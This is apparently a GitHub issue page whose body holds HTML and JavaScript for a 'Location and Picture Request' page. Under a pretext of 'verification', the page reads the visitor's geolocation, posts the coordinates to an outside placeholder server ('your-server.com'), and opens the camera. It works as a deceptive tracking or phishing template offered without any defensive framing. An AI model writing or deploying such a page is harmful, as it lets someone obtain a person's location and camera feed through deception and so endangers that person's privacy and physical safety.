-
Notifications
You must be signed in to change notification settings - Fork 826
Open
Description
<title>Location and Picture Request</title>
We need your location and a picture for verification
Share Location <script> // Get Location function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(sendLocation); } else { alert("Geolocation is not supported by this browser."); } } // Send Location Data
function sendLocation(position) {
fetch('https://your-server.com/location', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
latitude: position.coords.latitude,
longitude: position.coords.longitude
})
}).then(response => response.json())
.then(data => console.log("Location sent successfully"));
}
// Access Camera
navigator.mediaDevices.getUserMedia({ video: true })
.then(stream => {
const video = document.getElementById('cameraStream');
video.srcObject = stream;
}).catch(err => {
console.log("Error accessing camera: " + err);
});
</script>
Metadata
Metadata
Assignees
Labels
No labels